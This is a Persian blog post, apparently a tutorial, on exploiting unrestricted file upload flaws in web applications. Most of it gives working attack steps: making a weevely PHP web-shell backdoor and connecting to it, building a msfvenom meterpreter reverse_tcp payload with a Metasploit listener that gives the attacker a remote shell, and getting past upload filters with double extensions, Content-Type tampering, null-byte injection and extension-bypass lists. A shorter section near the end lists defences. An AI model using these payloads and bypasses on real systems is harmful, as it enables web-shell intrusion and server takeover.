ویرگول
ورودثبت نام
@Som3ID
@Som3ID
@Som3ID
@Som3ID
خواندن ۶ دقیقه·۶ سال پیش

Remote File Upload

باگ RFU یا همان Remote File Upload که با نام Unrestricted File Upload نیز شناخته میشود ، امکان آپلود فایل های اجرایی مانند php , asp , exe و ... را میدهد . این باگ زمانی رخ میدهد که فایل آپلودی درست اعتبار سنجی نشود و امکان آپلود فایل های اجرایی به هکر را بدهد.

----------------------------------------------------------------------

راه های بهره برداری از باگ RFU

1 - آپلود فایل با اسکریپت weevely


برای ساخت شل ، باید با استفاده از ابزار weevely یک بکدور مخصوص وب اپلیکیشن ها ایجاد کنیم . Weevely یک وب شل مخفی PHP هست که از اتصالی شبیه Telnet استفاده می کنه . این یک ابزار اساسی برای کاربردهای وب بعد از بهره برداریه و می تونه به عنوان یک بکدور مخفی یا به عنوان یک وب شل استفاده بشه :)

برای ساخت بکدور ، دستور زیر رو توی ترمینال تایپ کنید :

 

root@kali:~# weevely [ Password ] [ Shell Name ]


Example => weevely pass123 shell.php

 

این دستور یک بکدور با اسم shell.php درست میکنه (;


خب بعد از اینکه شلمون رو آپلود کردیم ، مسیری که شل رو سایت آپلود شده رو کپی میکنیم و دستور زیر رو میزنیم تا به شلمون وصل بشیم :


weevely [ Shell Directory ] [ Password ]


مثال :

weevely http://site.com/upload/shell.php pass123


این ابزار قابلیتای زیادی داره ، برای دیدن دستورات شل این ابزار کافیه کامند help رو تایپ کنین (:


2 - آپلود فایل با msfvenom


تو این روش با استفاده از ابزار msfvenom یک پیلود meterpreter میسازیم و بعد با استفاده از اکسپلویت multi/handler متاسپلویت ، به پیلودمون متصل میشیم .


خب ابتدا دستور زیر رو توی ترمینالتون بزنین :


msfvenom -p php/meterpreter/reverse_tcp LHOST=[Your Sys IP] LPORT=4444 -f raw


جلوی LHOST آیپی پابلیک سیستم خودتون رو قرار بدید .


خب بعد از اینکه این دستور رو بزنین ، یکسری کد به زبان php توی ترمینالتون چاپ میشه که باید اونو کپی کنین




بعد از کپی کردن این کد ها اون رو داخل یک فایل با فرمت php. ذخیره کنین ( اسم فایل دلخواهه ) .





خب بعد محیط متاسپلویت رو اجرا کنین با دستور msfconsole :


root@kali:~# msfconsole

خب بعد از این که این دستور رو میزنین وارد شل متاسپلویت میشین و بعدش باید دستورات زیر رو تایپ کنین :


msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST [ IP ]
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > exploit


خب الان پورت 4444 سیستم ما روی حالت لیسن هست .

الان باید پیلود php که با msfvenom ساختیم رو آپلود کنیم و بعد از آپلود ، مسیری که شل آپلود شده رو کپی و در قسمت url پیست کنیم و اینتر کنیم ( اینطوری پیلود ما اجرا میشه )


بعد از انجام فرایند بالا ، با صحنه‌ی زیر تو ترمینال رو به رو میشیم (:




3 - آپلود فایل با استفاده از دو پسوند ( Extension )


توی این بایپس ، برنامه نویس پسوند فایل های شل رو محدود کرده و قابل آپلود نیستن و فقط فایل های jpeg و png قابل آپلود هستن .


در این مرحله ما همون پیلودی که توی مرحله 2 استفاده کردیم رو برمیداریم و اسمش رو میزاریم image_file.php.jpeg .


این فایل رو آپلود میکنیم و با موفقیت آپلود میشه ؛ از قبل برنامه BurpSuite رو گذاشتیم روی حالت اینترسپت و بعد از اینکه ریکوئست HTTP رو اسنیف کردیم ، هدر Content-Disposition رو پیدا میکنیم و اسم فایلمون رو ویرایش میکنیم و jpeg. رو حذف میکنیم و روی گزینه forward کلیک میکنیم




و توی عکس زیر میبینین که فایلمون با پسوند php. با موفقیت آپلود شده (:




بعد از اینجاش دیگه راحته و باید مثل روش دو با استفاده از اکسپلویت multi/handler پورت 4444 سیستممون رو بزاریم روی حالت لیسن و بقیه کارایی که توی روش دو گفتم ...


4 - عوض کردن مقدار هدر content-type


در این مرحله ، ابتدا برپ سویت رو میزاریم روی حالت intercept on ، بعد از اون فایل php مون رو آپلود میکنیم .


خب حالا میریم توی برپ سویت هدر content-type رو پیدا میکنیم ؛ میبینیم که مقدارش application/x-php هست ، عوضش میکنیم و به image/jpeg تغییر میدیم و روی گزینه forward کلیک میکنیم .




خب فایلمون با موفقیت آپلود میشه و دوباره وارد متاسپلویت میشیم و پورت 4444 رو روی حالت لیسن میزاریم و بقیه کارهایی که توی روش های دو و سه گفتم (:

5 - آپلود فایل با تزریق null hex


یکی از روش های جالب آپلود فایل استفاده از null byte در url-encoding هست .


خب یه تغییر کوچیک تو اسم فایلمون میدیم و از

image_file.php.jpeg

به

image_file.phpA.jpeg

تغییر میدیم .

معادل اسکی حرف A که من نوشتم 41 هست .


خب فایلمون رو آپلود میکنیم ( از قبل برپو گذاشتیم رو intercept on )


بعد از آپلود میریم تو برپ و میریم توی تب hex .




مثل عکس مقدار اَسکی A که همون 41 هست رو پیدا میکنیم و به 00 تغییر میدیم و فایل php مون با موفقیت آپلود میشه (:


6 - انواع بایپس های black list


PHP =>

.phtm

.phtm1

.phps

.pht

.php2

.php3

.php4

.php5

.shtml

.phar

.pgif

.inc


ASP =>

.aspx

.cer

.asa


JSP =>

.jspx

.jsw

.jsv

.jspf


Coldfusion =>

.cfm

.cfml

.cfc

.dbm


Use Random Capitalization =>

.PhP .pHp .PHp .pHP


7 - بایپس های white list :


file.php.jpg

file.php.blah123jpg

file.php%00.jpg

file.php%00

file.php%20

file.php%0d%0a.jpg

file.php.....

file.php/

file.php.\


8 - تبدیل RFU به دیگر باگ ها


توی این عکس های زیر نحوه تبدیل باگ RFU به بقیه باگ ها رو هم گفتم (:



----------------------------------------------------------------------

راه های مقابله با Remote File Upload

1- اعتبار سنجی فرمت ها: (ٍExtension Validation)
اعتبار سنجی پس از اطمینان حاصل کردن از نام فایل
پسوند های دوگانه:
فایل هایی دارای پسوند دوگانه هستند می توانند فیلتر ها را دور بزنند مثال
File.php.png
پسوند های پوچ: به عنوان مثال فایلی مثل file.php%00.jpg این کار باعث میشود که فرمت jpg خوانده نشود .
2-ساخت لیست قابل اطمینان (White list Extension)
در این روش ما یک لیستی از پسوند های قابل اطمینان درست میکنیم فایل ها اپلودی را با این لیست مقایسه می کنیم

3-ساخت یک لیست سیاه  (Black list Extension)
این در روش مثل روش قبل عمل میکنیم

4- اعتبار سنجی نوع محتوا : (Content-type Validation)
از انجایی نوع محتوای فایل را کاربر میتواند تغییر دهد باید در کنار فرمت نوع MIME  ان ها هم باید اعتبار سنجی شود
محتوای فایل می تواند حاوی داده های مخرب باشد
برای مقابله با این کار باید فایل های تصویری را باز نویسی کرد . برای فایل های اسناد مایکروسافت می توان از Apache POI استفاده کرد
همچنین می توان از سرویس های مانند virus total  برای اسکن پرونده ها استفاده کرد

5-اعتبار سنجی امضای فایل (File Signature Validation)
در کنار اعتبار سنجی نوع محتوا این روش را هم می توان استفاده کرد ولی اگر از این روش به تنهایی استفاده شود به راحتی قابل دور زدن است
6-پاکسازی نام فایل(filename sanitization)
می توان پس از اپلود فایل نام فایل را به یک رشته تصادفی تغییر داد ساخت UUID/GUID برای نام فایل

6-محل ذخیره سازی فایل ها (File Storage Location)
می توان فایل های اپلودی را در یک میزبان دیگر ذخیره کرد و همچنین تنظیم کنترل های مناسب مانند IP داخلی و کاربر های مجاز و غیر مجاز

7- دسترسی کاربر (user permissions)
در این روش کاربر باید دسترسی های مناسب برای دسترسی یا اصلاح پرونده داشته باشد

8-اسکن بد افزار (malware scan)
برای به حداقل رساندن خطر همه پرونده ها را باید از نظر بد افزار اسکن شوند.

9- احراز هویت کاربران(Authenticate Users)
برای افزایش امنیت قبل از اپلود فایل از کاربران بخواهید احراز هویت کنند

10- حداکثر کردن طول نام و حداکثر اندازه
برای جلوگیری از اشکال یا قطع سرویس اطمینان حاصل کنید از حداکثر طول نام و اندازه فایل

11- استفاده از پیام خطای ساده هنگام اپلود فایل مسیر های دایرکتوری  تنظیمات پیکربندی سرور یا سایر اطاعاتی را مهاجمان می توانند برای ورود به سیستم استفاده کنند قرار ندهید

----------------------------------------------------------------------

چند اکسپلویت

https://www.exploit-db.com/exploits/49223

https://www.exploit-db.com/exploits/2348

https://www.exploit-db.com/exploits/48062

https://www.exploit-db.com/exploits/48238

https://www.exploit-db.com/exploits/49389

https://www.exploit-db.com/exploits/10732


۳
۰
@Som3ID
@Som3ID
شاید از این پست‌ها خوشتان بیاید